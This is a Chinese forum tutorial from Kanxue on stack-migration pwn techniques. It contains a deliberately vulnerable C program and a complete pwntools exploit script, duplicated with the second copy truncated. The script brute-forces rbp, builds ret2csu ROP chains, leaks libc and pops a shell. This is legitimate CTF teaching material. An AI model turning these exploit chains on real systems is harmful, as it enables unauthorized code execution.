[原创]钉子户的迁徙之路（四）-Pwn-看雪-安全社区|安全招聘|kanxue.com

[原创]钉子户的迁徙之路（四）
发表于: 2024-5-14 08:43 9875
[原创]钉子户的迁徙之路（四）

我超啊
2024-5-14 08:43
9875
说明：本篇文章成型很久，现在已退役，后期完善不足，各位师傅将就看吧
前篇地址：
钉子户的迁徙之路（一）：https://bbs.kanxue.com/thread-281631.htm
钉子户的迁徙之路（二）：https://bbs.kanxue.com/thread-281650.htm
钉子户的迁徙之路（三）：https://bbs.kanxue.com/thread-281688.htm
前面只有涉及到栈的题目中，我们的漏洞都是能覆盖到返回地址，那么如果我们无法覆盖返回地址，只能覆盖 bp 该如何呢？
此时，我们通过爆破rbp的最后一个字节，利用在栈上布置的栈帧来实现ROP
此时只覆盖rbp，并且没有泄露程序，只是简单利用爆栈是无法攻击的，需要利用某些方式让程序重新启动。
上面可以看出，栈迁移作用还是非常大的，但是，它对的前提是非常苛刻的：有确定的迁移地址，一般来说满足情况有以下几种。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int init_func(){

    setvbuf(stdin,0,2,0);

    setvbuf(stdout,0,2,0);

    setvbuf(stderr,0,2,0);

    return 0;
}
 
int dofunc(){

    char b[0x80] ;

    puts("input:");

    read(0,b,0x88);

    //puts("byebye!");

    return 0;
}
 
int main(){

    int x;

    init_func();

    dofunc();

    x=200;

    return 0;
}
//gcc migration_15.c -fno-stack-protector -no-pie -o migration_15_x64
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int init_func(){

    setvbuf(stdin,0,2,0);

    setvbuf(stdout,0,2,0);

    setvbuf(stderr,0,2,0);

    return 0;
}
 
int dofunc(){

    char b[0x80] ;

    puts("input:");

    read(0,b,0x88);

    //puts("byebye!");

    return 0;
}
 
int main(){

    int x;

    init_func();

    dofunc();

    x=200;

    return 0;
}
//gcc migration_15.c -fno-stack-protector -no-pie -o migration_15_x64

from pwn import *

import duchao_pwn_script

from sys import argv

import argparse
 
s = lambda data: io.send(data)

sa = lambda delim, data: io.sendafter(delim, data)

sl = lambda data: io.sendline(data)

sla = lambda delim, data: io.sendlineafter(delim, data)

r = lambda num=4096: io.recv(num)

ru = lambda delims, drop=True: io.recvuntil(delims, drop)

itr = lambda: io.interactive()

uu32 = lambda data: u32(data.ljust(4, '\0'))

uu64 = lambda data: u64(data.ljust(8, '\0'))

leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
 
if __name__ == '__main__':

    pwn_arch ='amd64'

    duchao_pwn_script.init_pwn_linux(pwn_arch)

    pwnfile = './migration_15_x64'

    # io = process(pwnfile)

    # io = remote('', )

    elf = ELF(pwnfile)

    rop = ROP(pwnfile)

    libcfile = '/lib/x86_64-linux-gnu/libc.so.6'

    libc = ELF(libcfile)

    context.binary = pwnfile

    deadbeef =0xdeadbeef

    read_got = elf.got["read"]

    read_sym = elf.symbols["read"]

    puts_sym = elf.symbols['puts']

    leak_func_name = '__libc_start_main'

    leak_func_got = elf.got[leak_func_name]

    rep_func = elf.symbols['dofunc']

    csu_front_addr = 0x401248

    mov_r13_rsi = 0x401220

    xor_rbx = 0x401243

    pop_rbx = 0x0401262

    pop_rbp = pop_rbx + 1

    pop_r12 = pop_rbp + 1

    pop_r13 = pop_r12 + 2

    pop_r14 = pop_r13 + 2

    pop_rsi_r15_ret = pop_r14 + 1

    pop_r15 = pop_r14 + 2

    pop_rdi_ret = pop_r15 + 1

    ret = pop_r15 + 2

    leave_ret = 0x4011D6

    call_read_addr_0 = 0x4011BB  # lea  rax, [rbp+buf]

    call_read_addr_1 = call_read_addr_0 + 4  # set rdx

    call_read_addr_2 = call_read_addr_1 + 5  # set rsi = rax

    call_read_addr_3 = call_read_addr_2 + 3  # set rdi = 0

    call_read_addr_4 = call_read_addr_3 + 5  # call read

    call_read_addr = call_read_addr_0

    target1_rbp = elf.bss() + 0x500

    addr_tmp = target1_rbp + 0x100

    next_rbp_addr = target1_rbp + 0x300

    bin_sh_addr = next_rbp_addr + 0x200

    padding2rbp = 0x80

    nead_padding2rbp = 0x10

    call_read_len = 0x20

    stack_over_flow = call_read_len - padding2rbp

    leak_func_name = '__libc_start_main'

    leak_func_got = elf.got[leak_func_name]

    # 本题目栈溢出没有覆盖 rip ，需要使用 ret2csu 爆栈之术，

    # 由于本程序 gcc 版本为新版本，所以可以使用 ret2csu_0x20 爆栈之术

    # 如果 gcc 版本为老版本，那么必须使用 ret2csu_0x30 爆栈之术

    # ret2csu_0x30 使用需要在 bss 段上或者知道栈地址，并且由于需要栈帧过长，一般来说较难使用

    # 输入的长度(含覆盖 rbp 的长度)至少为 0x20(0x30)

    # 当然，为了增加成功率，建议将输入长度适当增加，本题中为 0x88

    # 这种方法最重要的是第一步、第二步，

    # 使用 0x20 还是 0x30 取决于第一步

    # 第二步主要是根据选择更改 payload 

    # 之后的攻击就是常规步骤，本题中选在现迁移再攻击

    # 注意：因为是爆破所以可能出现过了第一、二步仍然不同的情况，此时继续爆破即可

    for i in range(10):

        try: 

            io = process(pwnfile)

            rbp_1 = target1_rbp

            # 第一步：爆破栈的最后一位 ret2csu_0x20 爆栈之术

            payload =  p64(call_read_addr_4) + p64(ret)* 2

            payload =  p64(ret)*((padding2rbp - len(payload))//8) + payload + b"\x00"

            #pause()

            sleep(0.5)

            delimiter = 'input:\n'

            # duchao_pwn_script.dbg(io)

            ru(delimiter)

            s(payload)

            # 第二步：使用 call read 覆写栈生成 ret2csu_0x20 爆栈之术 ，老版本要用 ret2csu_0x30 爆栈之术，第一步就需要修改

            sleep(0.5)

            # pause()

            payload_ret2csu_0x20 = p64(pop_r14) + p64(0x600) + p64(read_got) + p64(mov_r13_rsi)

            # payload_ret2csu_0x30 = p64(pop_r12) + p64(read_got) + p64(0x600) + p64(rsi) + p64(0) + p64(xor_rbx)

            payload = p64(ret) * ((padding2rbp - len(payload_ret2csu_0x20))//8 + 1) + payload_ret2csu_0x20

            s(payload)

            # 如果爆破成功，就随意蹂躏程序了，现迁移到 bss 段再进行进攻

            # pause()

            # duchao_pwn_script.dbg(io)

            sleep(0.5)

            payload = p64(ret) * 0x40 

            call_func = {'func_addr':read_got , 'arg1': 0, 'arg2': rbp_1, 'arg3': 0x100}    

            payload = payload + duchao_pwn_script.ret2csu_payload(call_func , 0 , csu_front_addr ,rbp = rbp_1 ,gcc_ver='new' ) + p64(leave_ret)

            s(payload)

            # duchao_pwn_script.dbg(io)

            # pause()

            sleep(0.5)

            call_func = {'func_addr':read_got , 'arg1': 0, 'arg2': next_rbp_addr, 'arg3': 0x100}

            p1 = duchao_pwn_script.ret2csu_payload(call_func , 0 , csu_front_addr ,rbp = next_rbp_addr ,gcc_ver='new' )

            payload_final = flat([ret , pop_rdi_ret , leak_func_got , puts_sym ]) + p1 + p64(leave_ret)

            s(payload_final)   

            leak_func_addr = u64(r(6).ljust(8, b'\x00'))  # 不同接受代码接受数量不同

            print(hex(leak_func_addr))

            # 以下代码为查找system及/bin/sh的地址

            system_addr, binsh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr, path = libcfile)

            print("system addr is:",hex(system_addr))

            print("bin addr is :",hex(binsh_addr))

            libc_base_addr = system_addr - libc.symbols["system"]

            open_addr = libc_base_addr + libc.symbols["open"]

            write_addr = libc_base_addr + libc.symbols["write"]

            print("libc_base_addr is :",hex(libc_base_addr))

            print("open addr is :",hex(open_addr)) 

            # pause()

            sleep(0.5)

            # duchao_pwn_script.dbg(io)

            payload = flat([ret , ret ,  pop_rdi_ret , binsh_addr , system_addr ])

            s(payload)

            itr()            

        except:

            pass

from pwn import *

import duchao_pwn_script

from sys import argv

import argparse
 
s = lambda data: io.send(data)

sa = lambda delim, data: io.sendafter(delim, data)

sl = lambda data: io.sendline(data)

sla = lambda delim, data: io.sendlineafter(delim, data)

r = lambda num=4096: io.recv(num)

ru = lambda delims, drop=True: io.recvuntil(delims, drop)

itr = lambda: io.interactive()

uu32 = lambda data: u32(data.ljust(4, '\0'))

uu64 = lambda data: u64(data.ljust(8, '\0'))

leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
 
if __name__ == '__main__':

    pwn_arch ='amd64'

    duchao_pwn_script.init_pwn_linux(pwn_arch)

    pwnfile = './migration_15_x64'

    # io = process(pwnfile)

    # io = remote('', )

    elf = ELF(pwnfile)

    rop = ROP(pwnfile)

    libcfile = '/lib/x86_64-linux-gnu/libc.so.6'

    libc = ELF(libcfile)

    context.binary = pwnfile

    deadbeef =0xdeadbeef

    read_got = elf.got["read"]

    read_sym = elf.symbols["read"]

    puts_sym = elf.symbols['puts']

    leak_func_name = '__libc_start_main'

    leak_func_got = elf.got[leak_func_name]

    rep_func = elf.symbols['dofunc']

    csu_front_addr = 0x401248

    mov_r13_rsi = 0x401220

    xor_rbx = 0x401243

    pop_rbx = 0x0401262

    pop_rbp = pop_rbx + 1

    pop_r12 = pop_rbp + 1

    pop_r13 = pop_r12 + 2

    pop_r14 = pop_r13 + 2

    pop_rsi_r15_ret = pop_r14 + 1

    pop_r15 = pop_r14 + 2

    pop_rdi_ret = pop_r15 + 1

    ret = pop_r15 + 2

    leave_ret = 0x4011D6

    call_read_addr_0 = 0x4011BB  # lea  rax, [rbp+buf]

    call_read_addr_1 = call_read_addr_0 + 4  # set rdx

    call_read_addr_2 = call_read_addr_1 + 5  # set rsi = rax

    call_read_addr_3 = call_read_addr_2 + 3  # set rdi = 0

    call_read_addr_4 = call_read_addr_3 + 5  # call read

    call_read_addr = call_read_addr_0

    target1_rbp = elf.bss() + 0x500

    addr_tmp = target1_rbp + 0x100

    next_rbp_addr = target1_rbp + 0x300

    bin_sh_addr = next_rbp_addr + 0x200

    padding2rbp = 0x80

    nead_padding2rbp = 0x10

    call_read_len = 0x20

    stack_over_flow = call_read_len - padding2rbp

    leak_func_name = '__libc_start_main'

    leak_func_got = elf.got[leak_func_name]

    # 本题目栈溢出没有覆盖 rip ，需要使用 ret2csu 爆栈之术，

    # 由于本程序 gcc 版本为新版本，所以可以使用 ret2csu_0x20 爆栈之术

    # 如果 gcc 版本为老版本，那么必须使用 ret2csu_0x30 爆栈之术

    # ret2csu_0x30 使用需要在 bss 段上或者知道栈地址，并且由于需要栈帧过长，一般来说较难使用

    # 输入的长度(含覆盖 rbp 的长度)至少为 0x20(0x30)

    # 当然，为了增加成功率，建议将输入长度适当增加，本题中为 0x88

    # 这种方法最重要的是第一步、第二步，

    # 使用 0x20 还是 0x30 取决于第一步

    # 第二步主要是根据选择更改 payload 

    # 之后的攻击就是常规步骤，本题中选在现迁移再攻击

    # 注意：因为是爆破所以可能出现过了第一、二步仍然不同的情况，此时继续爆破即可

    for i in range(10):

        try: 

            io = process(pwnfile)

            rbp_1 = target1_rbp

            # 第一步：爆破栈的最后一位 ret2csu_0x20 爆栈之术

            payload =  p64(call_read_addr_4) + p64(ret)* 2

            payload =  p64(ret)*((padding2rbp - len(payload))//8) + payload + b"\x00"

            #pause()

            sleep(0.5)

            delimiter = 'input:\n'

            # duchao_pwn_script.dbg(io)

            ru(delimiter)

            s(payload)

            # 第二步：使用 call read 覆写栈生成 ret2csu_0x20 爆栈之术 ，老版本要用 ret2csu_0x30 爆栈之术，第一步就需要修改

            sleep(0.5)

            # pause()

            payload_ret2csu_0x20 = p64(pop_r14) + p64(0x600) + p64(read_got) + p64(mov_r13_rsi)

            # payload_ret2csu_0x30 = p64(pop_r12) + p64(read_got) + p64(0x600) + p64(rsi) + p64(0) + p64(xor_rbx)

            payload = p64(ret) * ((padding2rbp - len(payload_ret2csu_0x20))//8 + 1) + payload_ret2csu_0x20

            s(payload)

            # 如果爆破成功，就随意蹂躏程序了，现迁移到 bss 段再进行进攻

            # pause()

            # duchao_pwn_script.dbg(io)

            sleep(0.5)

            payload = p64(ret) * 0x40 

            call_func = {'func_addr':read_got , 'arg1': 0, 'arg2': rbp_1, 'arg3': 0x100}    

            payload = payload + duchao_pwn_script.ret2csu_payload(call_func , 0 , csu_front_addr ,rbp = rbp_1 ,gcc_ver='new' ) + p64(leave_ret)

            s(payload)

            # duchao_pwn_script.dbg(io)

            # pause()

            sleep(0.5)

            call_func = {'func_addr':read_got , 'arg1': 0, 'arg2': next_rbp_addr, 'arg3': 0x100}

            p1 = duchao_pwn_script.ret2csu_payload(call_func , 0 , csu_front_addr ,rbp = next_rbp_addr ,gcc_ver='new' )

            payload_final = flat([ret , pop_rdi_ret , leak_func_got , puts_sym ]) + p1 + p64(leave_ret)

            s(payload_final)   

            leak_func_addr = u64(r(6).ljust(8, b'\x00'))  # 不同接受代码接受数量不同

            print(hex(leak_func_addr))

            # 以下代码为查找system及/bin/sh的地址

            system_addr, binsh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr, path = libcfile)

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